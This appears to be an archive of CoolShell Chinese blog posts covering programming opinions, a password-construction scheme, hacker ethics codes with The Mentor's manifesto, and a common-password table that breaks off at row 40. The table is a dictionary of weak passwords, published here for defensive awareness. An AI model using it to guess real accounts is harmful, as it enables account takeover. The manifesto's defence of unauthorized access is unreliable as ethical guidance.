do.**\n\n\n如果你对编程没有感到一种快乐，没有在你空闲的时候去以一种的娱乐方式去生活，无论是编程，还是运动，还是去旅游，那么你只不过是在应付你的工作，无时无刻不扎在程序堆中，这样下来，就算是你是一个非常聪明，非常有才华的人，你也不会成为一个优秀的编程员，要么只会平平凡凡，要么只会整天扎在技术中成为书呆子。当然，这个观点是有争议，热情和能力的差距也是很大的。不过我们可以从中汲取其正面的观点。\n\n\n**3）M****ost comments in code are in fact a pernicious form of code duplication.**\n\n\n注释应该是注释Why，而不是How和What，参看《[惹恼程序员的十件事](https://coolshell.cn/articles/340.html)》，代码告诉你How，而注释应该告诉你Why。但大多数的程序并不知道什么是好的注释，那些注释其实和code是重复的，毫无意义。\n\n\n\n**4）XML is highly overrated**\n\n\nXML可能被高估了。XML对于Web上的应用是不错的，但是我们把其用到了各种地方，好像没有XML，我们都不会编程了。\n\n\n**5）Not all programmers are created equal**\n\n\n这是那些junior经理或是流程爱犯的错，他们总是认为，DeveloperA == DeveloperB，只要他们的title一样，他们以为他们的能力、工作速度、解决问题的方法，掌握的技能等等都是一样的。呵呵。更扯的是，在某些时候，就算是最差的程序员，他们也会认为其比别人强十倍，这就是现代的SB管理。\n\n\n**6）”Googling it” is okay!**\n\n\nGoogle只会给你知识，并不会教给你技能。那里只有“鱼”，没有“渔”，过度的使用Google，只会让你越来越离不开他，你越来越去要去立马告诉你答案，而你越来越不会自己去思考，自己去探索，去专研。如果KFC快餐是垃圾食品对我们的身体没有好处，那么使用Google也一种快餐文化对我们的智力发展大大的没有好处。\n\n\n**7）****If you only know one language, no matter how well you know it, you’re not a great programmer.**\n\n\n如果你只懂一种语言，准确的说，如果你只懂一类语类，如：Java和C#，PHP和Perl，那么，你将会被局限起来，只有了解了各种各样的语言，了解了不同语言的不同方法 ，你才会有比较，只有了比较，你才会明白各种语言的长处和短处，才会让你有更为成熟的观点，而且不整天和别的程序在网上斗嘴争论是Windows好还是Unix好，是C好还是C++好，有这点工夫能干好多事了。世界因为不同而精彩，只知道事物的一面是有害的。\n\n\n**8）Your job is to put yourself out of work.**\n\n\n你的工作不是保守，那种教会徒弟，饿死师父的想法，不但是相当短浅的，而且还是相当脑残的。因为，在计算机世界里，你掌握的老技术越多，你就越没用，因为技术更新的太快。你对工作越保守，这个工作就越来越离不开你，你就越不越不能抽身去学新的东西，你也就越来越OUT了。记住：If you can’t be replaced then you can’t be promoted!\n\n\n**9）**Design patterns are hurting good design more than they’re helping it.****\n\n\n很多程序员把设计模式奉为天神，他们过度的追求设计模式以至都都忘了需求是什么，结果整个系统设计被设计模式搞得乱七八糟，我们叫这种编程为“[设计模式驱动编程](https://coolshell.cn/articles/2058.html)”，正如第一点所说，如果你不懂得用自己的大脑思考的话，知其然，不知所以然的话，那么你不但得不到其好处，反而受其所累。\n\n\n**10）****Unit Testing won’t help you write good code**\n\n\n准确地说，我们可以认为这是Test-Driven开发，其实，这种开发就是先写unit test case，这样的开发方式的主要目的是，为了防止你不会因为一个改动而引入Bug，但这并不会让你能写出更好的代码。这只会让你写出不会出错的代码。同第一点，这样的方法，只不过是防止[糟糕的程序员](https://coolshell.cn/articles/1081.html)，而并不是让程序员或代码质量更有长进。反而，通过Unit Test会为程序员的为自己代码做辩解的一种托辞。\n\n\n最后，顺便说一下，以前去那个敏捷的公司面试，发现那个公司的某些技术人员中毒不浅，具体表现在上述的1）9）10）观点上。\n\n\n**（转载本文请注明作者和出处，请勿用于商业用途）**\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![聊聊团队协同和协同工具](../wp-content/uploads/2022/10/communication-150x150.png)](https://coolshell.cn/articles/22298.html)[聊聊团队协同和协同工具](https://coolshell.cn/articles/22298.html)\n* [![“一把梭：REST API 全用 POST”](../wp-content/uploads/2022/02/http_method-150x150.png)](https://coolshell.cn/articles/22173.html)[“一把梭：REST API 全用 POST”](https://coolshell.cn/articles/22173.html)\n* [![谈谈公司对员工的监控](../wp-content/uploads/2022/02/monitoring-150x150.jpeg)](https://coolshell.cn/articles/22157.html)[谈谈公司对员工的监控](https://coolshell.cn/articles/22157.html)\n* [![如何做一个有质量的技术分享](../wp-content/uploads/2021/07/knowledge_sharing-300x169-1-150x150.jpeg)](https://coolshell.cn/articles/21589.html)[如何做一个有质量的技术分享](https://coolshell.cn/articles/21589.html)\n* [![程序员如何把控自己的职业](../wp-content/uploads/2020/08/programmer.01-e1596792460687-150x150.png)](https://coolshell.cn/articles/20977.html)[程序员如何把控自己的职业](https://coolshell.cn/articles/20977.html)\n* [![MegaEase的远程工作文化](../wp-content/uploads/2020/01/remote-150x150.jpg)](https://coolshell.cn/articles/20765.html)[MegaEase的远程工作文化](https://coolshell.cn/articles/20765.html)\nThe post [十条不错的编程观点](https://coolshell.cn/articles/2424.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2010-5-18 如何管理并设计你的口令.md",
    "content": "---\nlayout: post\ntitle: 如何管理并设计你的口令\ndate: 2010/5/18/ 0:42:41\nupdated: 2010/5/18/ 0:42:41\nstatus: publish\npublished: true\ntype: post\n---\n\n在互联网上，需要我们输入用户名口令的地方实在是太多了，多得都让人记不过来了，N个电子邮件帐号，QQ， MSN，校内，开心，facebook，Blog，各种论坛，网银，淘宝，电子相册……，太多了，想想看，你要用多少用户名口令，相信很多人可能会这样做，用几乎一样的口令和用户名来申请所有的这些帐号，我估计这是大多数人的做法。当然，这样一来，你就需要保管好你的用户名和口令了，因为只要被破解了，就相当于你所有的帐号被破解了，这是多数恐怖的一件事情啊。你可能觉得别人破解你的口令很难，但我告诉你也许会非常容易，因为，如果你只使用一样的用户名和口令的话，也许某天，你注册了一个不知名的小网站，可能会意味着你所有的用户名和口令都被人获取了，要小心啊。\n\n\n对我来说，我通常会有几组组帐号和密码，\n\n\n* 一个帐号/密码是用于一些大的可以依赖的站点，如：MSN，gmail，linkedin，facebook，hotmail等，因为我相信这些站点应该可以足够信任不会出卖用户信息，也有足够的能力不会让用户信息和口令外泄。\n* 一个帐号/密码用于一些国内的一些大的网站，如：QQ，开心，CSDN，Sina，网易，Blog，同学录等，因为这些站点必竟还受到国家的监管，以及其内部不良员工可能会倒卖我的信息，指不定什么时候我的用户信息就会外泄。\n* 一个帐号/密码用于我的一些经济活动，如网银，淘宝，支付宝什么的。\n* 最后一个帐号/密码用于登录那些必需要注册的破站点，一个最简单的用户名口令。\n\n\n真烦啊。在这样的一个社会里，忘记密码绝对是一件最普通不过的事情了。就算是我这样的分组归类，同样需要超强的记忆力。不知道你会不会把你的密码写在某处呢？是啊，我也是想写啊，但那岂不是相当的危险，不丢则已，一丢就全丢了。\n\n\n今天，在国外的某论坛里看到了这样的一个设计方法，好像很不错，分享给大家。\n\n\n\n1）首先，先找一句你喜欢的话（你一辈子都记得的话），当然，只有你记得的，无论中英文，然后取各个单词或字的英文、拼音、五笔头一个字母。比如：**I** **L**ike **L**ong **C**omplicated **P**asswords, **T**hey **C**onfuse **P**eople，取头一个字母则成为了：**illcptcp**。中文的——“信春哥得永生”的五笔的第一个字母是：**wdstyt**。这个东西只有你自己知道，就算是别人看到明码，也很难马上记下来，是吧。\n\n\n2）加上一些数字吧，比如你的生日，学号，电话，纪念日等。比如世界末日：2012年的12月21日(我们只取12月21日)。把这些数字加在断句的地方，于是得到这样的口令：**illcp12tcp21** 或是 **wds12tyt21**。\n\n\n3）我们把第二步得到的口令叫基本口令。然后你可以在其前后(或是中间)加上站点的简称（用大写）。如：\n\n\n* gmail：**GM****illcp12tcp21**\n* CSDN：**CS****wds12tyt21DN**\n* MSN**：**illcp12tcp21MSN****\n* **QQ：**Q**wds12tyt21Q******\n\n\n4）改良。你可以在上述的第2）步，在输入数字时按着Shift键，于是，你可以得到更BT的口令：**illcp!@tcp@!** ，或是在第3)步聚的前缀和后缀间加上特殊字符，如：&, ＃，^等等。\n\n\n相信这样的规则会让你的口令即不重复，又好记，而且又足够复杂。不然，你真的要去下载一个软件来记你的口令了。\n\n\n大家不妨也说说你的口令的设计或管理方法。\n\n\n(全文完)\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![CSDN明文口令泄露的启示](../wp-content/uploads/2011/12/63071edagw1doah4id8l4j-150x150.jpg)](https://coolshell.cn/articles/6193.html)[CSDN明文口令泄露的启示](https://coolshell.cn/articles/6193.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg](https://coolshell.cn/articles/5353.html)[你会做Web上的用户登录功能吗？](https://coolshell.cn/articles/5353.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/20.jpg](https://coolshell.cn/articles/3877.html)[另类UX让你输入强口令](https://coolshell.cn/articles/3877.html)\n* [![破解你的口令](../wp-content/uploads/2011/02/passwords-150x150.png)](https://coolshell.cn/articles/3801.html)[破解你的口令](https://coolshell.cn/articles/3801.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/18.jpg](https://coolshell.cn/articles/2451.html)[Twitter的禁用口令](https://coolshell.cn/articles/2451.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/13.jpg](https://coolshell.cn/articles/2078.html)[如何防范密码被破解](https://coolshell.cn/articles/2078.html)\nThe post [如何管理并设计你的口令](https://coolshell.cn/articles/2428.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2010-5-19 碰触，合作和团队绩效.md",
    "content": "---\nlayout: post\ntitle: 碰触，合作和团队绩效\ndate: 2010/5/19/ 0:40:39\nupdated: 2010/5/19/ 0:40:39\nstatus: publish\npublished: true\ntype: post\n---\n\n公司有时候会举行团队建设活动，让大家出去跋山涉水，一起做有肢体接触游戏（例如用废报纸和胶布搭建一个能把所有人容下的遮阳棚）。这其中是有道理的。\n\n\n今日读到一篇加州伯克利大学的文章 [touch, cooperation, and performance](http://ist-socrates.berkeley.edu/~keltner/publications/kraus.huang.keltner.2010.pdf), 用科学的研究方法解释了为什么NBA球员们为什么要“high five（击掌）”，并用统计方法论证了碰触行为可以导致更好的比赛成绩。其实想想，其实人们握手，鼓励式地拍肩膀，引导别人进门的时候好客地推别人的背，道理都是一样。身体接触（符合社交礼仪范围的）是建立信任的一种微妙行为。这些大多不会写在领导力的书里。\n\n\n猴子之间互相捉虱子梳理毛发不是为了营养，而是增进群体的凝聚力。人类口头上的语言的第一功能不是为了表达知识，而是为了促进社会联系，其内容并不需要都是重要信息。这就是为什么我们一天之内说话内容的80%其实都是扯淡，八卦和闲聊。\n\n\n（注意：职场上有社交礼仪，此方法需要适度）\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![30种时尚的CSS网站导航条](../wp-content/uploads/2009/04/13-09_menu_menu-150x150.jpg)](https://coolshell.cn/articles/562.html)[30种时尚的CSS网站导航条](https://coolshell.cn/articles/562.html)\n* [![应该知道的Linux技巧](../wp-content/uploads/2013/01/linux-bash-300x225-150x150.jpg)](https://coolshell.cn/articles/8883.html)[应该知道的Linux技巧](https://coolshell.cn/articles/8883.html)\n* [![版本管理器的发展史](../wp-content/uploads/2010/11/scmhistory-150x150.png)](https://coolshell.cn/articles/3288.html)[版本管理器的发展史](https://coolshell.cn/articles/3288.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/15.jpg](https://coolshell.cn/articles/2109.html)[Python处理encoding的小技巧](https://coolshell.cn/articles/2109.html)\n* [![101个设计模式](../wp-content/uploads/2009/03/dp_book-150x150.jpg)](https://coolshell.cn/articles/21.html)[101个设计模式](https://coolshell.cn/articles/21.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/25.jpg](https://coolshell.cn/articles/7126.html)[这到底是谁之错？](https://coolshell.cn/articles/7126.html)\nThe post [碰触，合作和团队绩效](https://coolshell.cn/articles/2440.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2010-5-19 黑客的价值观.md",
    "content": "---\nlayout: post\ntitle: 黑客的价值观\ndate: 2010/5/19/ 0:50:50\nupdated: 2010/5/19/ 0:50:50\nstatus: publish\npublished: true\ntype: post\n---\n\n黑客，可能在大家的眼里是那些入侵别人计算机搞破坏的人，其实并不是那样的。如果你这样认为了，只能说明你对计算机文化并不了解，真正的黑客是一种自由的象征，他们挑战权威，追求自由，并和很多非人类的行为作斗争。如果你想了解黑客文化，你一定要去看看我写的《Unix传奇，[上篇](https://coolshell.cn/articles/2322.html)，[下篇](https://coolshell.cn/articles/2324.html)》。你会对正宗的计算机文化以及黑客文化有所了解的。而那些只懂得入侵别人计算机搞破坏活动的“黑客”只能称为是街头的小混混，他们根本就不配称黑客。\n\n\n下面有四篇关于“Hacker’s Code”文章，我觉得相当的不错，可以让你明白什么是黑客的行为规范，道德准则，以及黑客的历史使命，希望能对你有启发。但是翻译水平有限，所以我请**[Mailper](https://coolshell.cn/?author=3)同学帮忙翻译了一下，但还是觉得原文更为传神，尤其是原文中的押韵，双意以及朗朗上口，所以，下面提供了中英文对照。如果有翻译得不好的还请大家指正。**\n\n\n\nThe Hacker’s Code\n=================\n\n\n[http://muq.org/~cynbe/hackers-code.htm](http://muq.org/~cynbe/hackers-code.html)l\n\n\n*“A hacker of the Old Code.”*\n\n\n* Hackers come and go, but a great hack is forever.  \n\n黑客们来来往往，但是只有黑客的壮举是永存的\n\n\n* Public goods belong to the public.**\\***  \n\n公众的东西是属于大众的\n\n\n* Software hoarding is evil.  \n\nSoftware does the greatest good given to the greatest number.  \n\n圈养软件是邪恶的，最好的软件是有最多人使用的\n\n\n\n* Don’t be evil.  \n\n不作恶\n\n\n* Sourceless software sucks.  \n\n不公开源码的软件是令人厌恶的\n\n\n* People have rights.  \n\nOrganizations live on sufferance.  \n\n每个人都是有权利的，而组织是建立在互相的容忍上的\n\n\n* Governments are organizations.  \n\n政府也是组织\n\n\n* If it is wrong when citizens do it,  \n\nit is wrong when governments do it.  \n\n对与错的标准，对于公民和政府是同样适用的。(不能“只许州官放火不许百姓点灯”)\n\n\n* Information wants to be free.  \n\nInformation *deserves* to be free.  \n\n信息需要自由（免费），信息也应该是是自由（免费）的\n\n\n* Being legal doesn’t make it right.Being illegal doesn’t make it wrong.  \n\n合法的不一定是正确的，不合法不一定就是错误的\n\n\n* Subverting tyranny is the highest duty.  \n\n推翻专制是黑客的最高天职\n\n\n* Trust your technolust!  \n\n相信你的“技术贪欲”\n\n\n\\* **Definition**: *A good is **public** if the marginal production cost is lower than the marginal billing cost.  \n\n**定义**：* 一个好的公众事物仅当其边际产值小于其边际广告值。（关于 *marginal production*是一个经济学术语，我不是很懂，大家可以参考[这篇文章](http://hi.baidu.com/loftyambition/blog/item/90c586df69909f1b6227980b.html)）\n\n\n \n\n\n \n\n\n**The Hacker’s Code of Ethics**\n===============================\n\n\n<http://courses.cs.vt.edu/cs3604/lib/WorldCodes/Hackers.Code.html>\n\n\nLevy (1984) suggests that there is a “code of ethics” for hacking which, though not pasted on the walls, is in the air:\n\n\n列维认为黑客有一种准则，这种准则不是墙上贴着的，而是像空气一样无处不在的。\n\n\n* Access to Computers – and anything which might teach you something about the way the world works – should be unlimited and total. Always yield to the Hands-On Imperative!  \n\n计算机的使用（就像任何教会你去了解这个世界的东西一样）应该是无限和无所不包的。真理来自实际动手操作。\n\n\n* All information should be free.  \n\n所有的信息都应该是自由的（免费和不加限制的）\n\n\n* Mistrust Authority – Promote Decentralization.  \n\n不要相信权威，推崇分权和群众的智慧\n\n\n* Hackers should be judged by their hacking, not bogus criteria such as degrees, age, race, or position.  \n\n英雄（黑客）不问出处，更不会去计较世俗的标准：学历，年龄，种族和职位高低。\n\n\n* You can create art and beauty on a computer.  \n\n黑客可以在计算机上创造艺术和美。\n\n\n* Computers can change your life for the better.  \n\n计算机可以提升你的生命。\n\n\n**Reference:**\n\n\nLevy, Steven. 1984. Hackers: Heroes of the Computer Revolution, Anchor Press/Doubleday, Garden City, NY, 458 pp.\n\n\n史蒂芬.列维 1984  黑客：计算机革命的英豪们， Achor Press… 第458页\n\n\nDRAFT The Hacker’s Code DRAFT\n=============================\n\n\n<http://www.petascale.org/code/code.html>\n\n\nPreamble: We, the people of the electronic universe, in order to establish a society of knowledge and skills, do hereby proclaim the following.\n\n\n导言：我们，数字领域的主宰者，为了建一个知识和技术的社区，我们发出下面的声明。\n\n\nHackers are diverse, from all cultures and backgrounds. Every hacker is unique, yet we all share some characteristics. While not every hacker follows this Code, many believe it is a fair description of our shared traditions, goals and values.\n\n\n黑客是各式各样的，无论是从文化还是背景。每个黑客都是唯一的，然后，我们是有一些相同的特质的。也许并不是所有的黑客都会跟从下面的准则，但大多数黑客都相信这是一个公正的惯例，目标和价值观。\n\n\n* Hackers share and are willing to teach their knowledge  \n\n黑客共享并愿意传播他们的知识。\n\n\n* Hackers are skilled. Many are self-taught, or learn by interacting with other hackers.  \n\n黑客都是老手。他们中很多人要么是自学，要么是与别的黑客相互共世而成长的。\n\n\n* Hackers seek knowledge. This knowledge may come from unauthorized or unusual sources, and is often hidden.  \n\n黑客查找知识。那些知识可能是多一些未授权或是不寻常的通常都是被隐藏起来的地方来的。\n\n\n* Hackers are tinkerers. They like to understand how things work, and want to make their own improvements or modifications.  \n\n黑客都是些好管闲事的人。他们总是喜欢对事物刨根问底，而且总是要为改善那些事情加上自己的想法。\n\n\n* Hackers often disagree with authority, including parents, employers, social customs and laws. They often seek to circumvent authority they disagree with.  \n\n黑客通常都在挑战权威，包括家长，同事，用户以及法律。他们总是挑战那些他们并不认可以权威。\n\n\n* Hackers disagree with each other. Different hackers have different values, and come from all backgrounds. This means that what one hacker is opposed to might be embraced by another.  \n\n黑客也是互不信任的。不同的黑客有不同的价值取向，而且也有相同的背景。也就是说，某个黑客被反对了，但也会被别的黑客所拥护。\n\n\n* Hackers are persistent, and are willing to devote hours, days and years to pursuing their individual passions.  \n\n黑客是永不放弃的。他们愿意全身心地把他们的热情投入到每一个小时，每一天，每一年中。\n\n\n* This Code is not to prescribe how hackers act. Instead, it is to help us to recognize our own diversity and identify.  \n\n准则并不是说明黑客是什么样的，而说让我们明白我们的不同性和一致性。\n\n\n* Every hacker must make his or her own decisions about what is right or wrong, and some might do things they believe are illegal, amoral or anti-social to achieve higher goals.  \n\n每一个黑客必需自己为对和错作决定，有一些事可能是不合法，不道德的，甚至反社会的，但却可以让他们攀上自己价值观的高峰。\n\n\n* Hackers’ motivations are their own, and there is no reason for all hackers to agree.  \n\n黑客的动机是他们自己的，而且无需任何理由获得其它的同意。\n\n\n* Hackers have a shared identify, however, and many shared interests.  \n\n黑客一般会有共同的认识，然而，许多黑客却是拥有共同的利益。\n\n\n* By reading this Code, hackers can recognize themselves and each other, and understand better the group they are a part of. This will be beneficial to all hackers.  \n\n了解了这些准则，黑客们能够赏识自己或相互赏识，并相当明白他们是这个团体的一部分。这会让所有的黑客受益。\n\n\nThe Conscience of a Hacker\n==========================\n\n\n<http://www.phrack.org/issues.html?issue=7&id=3&mode=html>\n\n\n##=========================================\n\n\n\\/\\The Conscience of a Hacker/\\/\n\n\nby\n\n\n+++The Mentor+++\n\n\n笔名：导师\n\n\nWritten on January 8, 1986\n\n\n=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=\n\n\nAnother one got caught today, it’s all over the papers.  “Teenager Arrested in Computer Crime Scandal”, “Hacker Arrested after Bank Tampering”… Damn kids.  They’re all alike.\n\n\n今天有一个被捕的消息受到媒体热议。“某少年由于计算机犯罪被捕”，“入侵银行的黑客被捕”…一帮臭小子，他们都一样。\n\n\nBut did you, in your three-piece psychology and 1950’s technobrain, ever take a look behind the eyes of the hacker?  Did you ever wonder what made him tick, what forces shaped him, what may have molded him?\n\n\n但是你们是帮老朽只知道老套的心理学和50年代的技术。你们有没有想想黑客究竟在想什么？你们有没有想想他们为什么这么做，什么造就了他们，什么塑造了这帮黑客？\n\n\nI am a hacker, enter my world…\n\n\n我是名黑客，请走进我的世界…\n\n\nMine is a world that begins with school… I’m smarter than most of the other kids, this crap they teach us bores me…\n\n\n我的世界是从学校开始的…我是学校里最聪明的孩子，学校教我的垃圾让我厌倦。\n\n\nDamn underachiever.  They’re all alike.\n\n\n都他妈的水货，这帮子成绩不好的都一样烂。\n\n\nI’m in junior high or high school.  I’ve listened to teachers explain for the fifteenth time how to reduce a fraction.  I understand it.  “No, Ms. Smith, I didn’t show my work.  I did it in my head…”\n\n\n我初中高中时候就是如此了。白痴老师一个分式化简要解释15次。这些我全懂。所以我说”不用了，XX老师，我不用写这些步骤，我可以心算…”\n\n\nDamn kid.  Probably copied it.  They’re all alike.\n\n\n一帮傻同学，估计都只知道抄写老师的板书，一棒子二百五。\n\n\nI made a discovery today.  I found a computer.  Wait a second, this is cool.  It does what I want it to.  If it makes a mistake, it’s because I screwed it up.  Not because it doesn’t like me…\n\n\n今天我发现新大陆了。我遇到了一台计算机。真是太酷了，计算机完全按照我的指令执行。如果计算机犯了错，是因为我没搞对。而不是因为它不喜欢我…\n\n\nOr feels threatened by me…\n\n\n也不是觉得我成绩太好到威胁它了，也不是因为我是个自是聪明自以为是，而且不对我教条主义\n\n\nOr thinks I’m a smart ass…\n\n\nOr doesn’t like teaching and shouldn’t be here…\n\n\nDamn kid.  All he does is play games.  They’re all alike.\n\n\n而我的一帮傻逼同学，都他妈只知道玩。\n\n\nAnd then it happened… a door opened to a world… rushing through the phone line like heroin through an addict’s veins, an electronic pulse is sent out, a refuge from the day-to-day incompetencies is sought… a board is found.\n\n\n突然，与计算机相处为我打开了一扇通往另一个世界的门。一股电脉冲从电话线传送出去，就好像海洛因冲过毒瘾者的血脉，我可以逃离那帮子傻逼，一个新大陆！\n\n\n“This is it… this is where I belong…”\n\n\n是的！计算机是我的归属。\n\n\nI know everyone here… even if I’ve never met them, never talked to them, may never hear from them again… I know you all…\n\n\n在这个世界里，我认识这里的每一个人…虽然我并没有跟他们见面，没跟他们交谈，也许以后也不会再提到他们的消息。但是他们对我是那么的熟悉。\n\n\nDamn kid.  Tying up the phone line again.  They’re all alike…\n\n\n一棒子傻逼，大概他们又把我的电话线打结了。\n\n\nYou bet your ass we’re all alike… we’ve been spoon-fed baby food at school when we hungered for steak… the bits of meat that you did let slip through were pre-chewed and tasteless.  We’ve been dominated by sadists, or ignored by the apathetic.  The few that had something to teach found us willing pupils, but those few are like drops of water in the desert.\n\n\n是的，我们黑客都差不多…我们智力高度成熟，我们想啃牛排的时候只有被喂婴儿食物。好不容易有点肉吃，也是被嚼烂了的。我们被虐待狂欺负，被冷漠者漠视。偶尔有好人理解我们其实是最好学的学生，但是这种人少得跟沙漠中的水滴一样。\n\n\nThis is our world now… the world of the electron and the switch, the beauty of the baud.  We make use of a service already existing without paying for what could be dirt-cheap if it wasn’t run by profiteering gluttons, and you call us criminals.  We explore… and you call us criminals.  We seek after knowledge… and you call us criminals.  We exist without skin color, without nationality, without religious bias… and you call us criminals.\n\n\nYou build atomic bombs, you wage wars, you murder, cheat, and lie to us and try to make us believe it’s for our own good, yet we’re the criminals.\n\n\n我们这些黑客长大了…这个世界充满着电子，开关，和美丽的波特（信号传输单位）。我们并不是在犯罪，我们只是在免费使用服务，这些服务要不是因为那些敛财狂本可以是非常廉价的。我们在探索…可你们说我们是在犯罪。我们是在寻求知识…可你们说我们是在犯罪。我们黑客无处不在，不分肤色，没有国界，没有宗教偏见…可你们说我们是在犯罪。你们这些伪君子制造了原子弹，发动战争，某战争，不忠，并且对我们说谎；你们居然说你们的行径是为我们好，而我们黑客是犯罪分子。\n\n\nYes, I am a criminal.  My crime is that of curiosity.  My crime is that of judging people by what they say and think, not what they look like. My crime is that of outsmarting you, something that you will never forgive me for.\n\n\n好吧，我是犯罪分子。我所犯的最是好奇心。我的罪过是基于一个人的言行评判一个人，而不是他的长相。我的罪过是我比你聪明，而你大概永远不会原谅我比你聪明。\n\n\nI am a hacker, and this is my manifesto.  You may stop this individual, but you can’t stop us all… after all, we’re all alike.\n\n\n我是一名黑客，以上是我的宣言。你可以制止一个个体，但是你阻止不了我们全部…因为，我们黑客都一样。\n\n\n+++The Mentor+++\n\n\n署名：导师\n\n\n（全文完）\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![聊聊团队协同和协同工具](../wp-content/uploads/2022/10/communication-150x150.png)](https://coolshell.cn/articles/22298.html)[聊聊团队协同和协同工具](https://coolshell.cn/articles/22298.html)\n* [![“一把梭：REST API 全用 POST”](../wp-content/uploads/2022/02/http_method-150x150.png)](https://coolshell.cn/articles/22173.html)[“一把梭：REST API 全用 POST”](https://coolshell.cn/articles/22173.html)\n* [![谈谈公司对员工的监控](../wp-content/uploads/2022/02/monitoring-150x150.jpeg)](https://coolshell.cn/articles/22157.html)[谈谈公司对员工的监控](https://coolshell.cn/articles/22157.html)\n* [![如何做一个有质量的技术分享](../wp-content/uploads/2021/07/knowledge_sharing-300x169-1-150x150.jpeg)](https://coolshell.cn/articles/21589.html)[如何做一个有质量的技术分享](https://coolshell.cn/articles/21589.html)\n* [![程序员如何把控自己的职业](../wp-content/uploads/2020/08/programmer.01-e1596792460687-150x150.png)](https://coolshell.cn/articles/20977.html)[程序员如何把控自己的职业](https://coolshell.cn/articles/20977.html)\n* [![MegaEase的远程工作文化](../wp-content/uploads/2020/01/remote-150x150.jpg)](https://coolshell.cn/articles/20765.html)[MegaEase的远程工作文化](https://coolshell.cn/articles/20765.html)\nThe post [黑客的价值观](https://coolshell.cn/articles/2439.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2010-5-20 Twitter的禁用口令.md",
    "content": "---\nlayout: post\ntitle: Twitter的禁用口令\ndate: 2010/5/20/ 0:58:44\nupdated: 2010/5/20/ 0:58:44\nstatus: publish\npublished: true\ntype: post\n---\n\n打开Twitter的注册页面，<https://twitter.com/signup>，查看一下源码，你会看到一个很长的禁用口令列表（见本文最下面），其中的某些口令的确很雷人。你可以参看本站的《[如何管理并设计你的口令](https://coolshell.cn/articles/2428.html \"如何管理并设计你的口令\")》来设计和管理你的口令。其中的某些口令需要向你解释一下：\n\n\n* **ncc1701** 这是星际迷航中的战舰号。\n* **thx1138** 这是乔治卢卡斯的第一个电影，1971年，其学生时代的作品。\n* **qazwsx** 这是键盘的布局顺序键。\n* **666666** 这是6个6\n* **7777777** 这是7个7\n* **ou812** 这是1988范 海伦Van Halen 专辑\n* **8675309** 这是 1982 Tommy Tutone song歌中提到的数字。这首歌导致人们开始播打电话867- 5309 寻找 “Jenny”\n\n\n经过统计，9个人里就有1个人会使用下面这个列表中的一个口令，而50个人就会有1个人使用top 20里的一个口令。你可能会问，top20是怎么来的？而twitter这个列表又是哪里来的？请看下面的表格。这是top 500最烂的口令列表。其来源是[这里](http://www.whatsmypass.com/the-top-500-worst-passwords-of-all-time)。\n\n\n\n\n\n|  |  |  |  |  |  |\n| --- | --- | --- | --- | --- | --- |\n| NO | Top 1-100 | Top 101–200 | Top 201–300 | Top 301–400 | Top 401–500 |\n| 1 | 123456 | porsche | firebird | prince | rosebud |\n| 2 | password | guitar | butter | beach | jaguar |\n| 3 | 12345678 | chelsea | united | amateur | great |\n| 4 | 1234 | black | turtle | 7777777 | cool |\n| 5 | pussy | diamond | steelers | muffin | cooper |\n| 6 | 12345 | nascar | tiffany | redsox | 1313 |\n| 7 | dragon | jackson | zxcvbn | star | scorpio |\n| 8 | qwerty | cameron | tomcat | testing | mountain |\n| 9 | 696969 | 654321 | golf | shannon | madison |\n| 10 | mustang | computer | bond007 | murphy | 987654 |\n| 11 | letmein | amanda | bear | frank | brazil |\n| 12 | baseball | wizard | tiger | hannah | lauren |\n| 13 | master | xxxxxxxx | doctor | dave | japan |\n| 14 | michael | money | gateway | eagle1 | naked |\n| 15 | football | phoenix | gators | 11111 | squirt |\n| 16 | shadow | mickey | angel | mother | stars |\n| 17 | monkey | bailey | junior | nathan | apple |\n| 18 | abc123 | knight | thx1138 | raiders | alexis |\n| 19 | pass | iceman | porno | steve | aaaa |\n| 20 | fuckme | tigers | badboy | forever | bonnie |\n| 21 | 6969 | purple | debbie | angela | peaches |\n| 22 | jordan | andrea | spider | viper | jasmine |\n| 23 | harley | horny | melissa | ou812 | kevin |\n| 24 | ranger | dakota | booger | jake | matt |\n| 25 | iwantu | aaaaaa | 1212 | lovers | qwertyui |\n| 26 | jennifer | player | flyers | suckit | danielle |\n| 27 | hunter | sunshine | fish | gregory | beaver |\n| 28 | fuck | morgan | porn | buddy | 4321 |\n| 29 | 2000 | starwars | matrix | whatever | 4128 |\n| 30 | test | boomer | teens | young | runner |\n| 31 | batman | cowboys | scooby | nicholas | swimming |\n| 32 | trustno1 | edward | jason | lucky | dolphin |\n| 33 | thomas | charles | walter | helpme | gordon |\n| 34 | tigger | girls | cumshot | jackie | casper |\n| 35 | robert | booboo | boston | monica | stupid |\n| 36 | access | coffee | braves | midnight | shit |\n| 37 | love | xxxxxx | yankee | college | saturn |\n| 38 | buster | bulldog | lover | baby | gemini |\n| 39 | 1234567 | ncc1701 | barney | cunt | apples |\n| 40 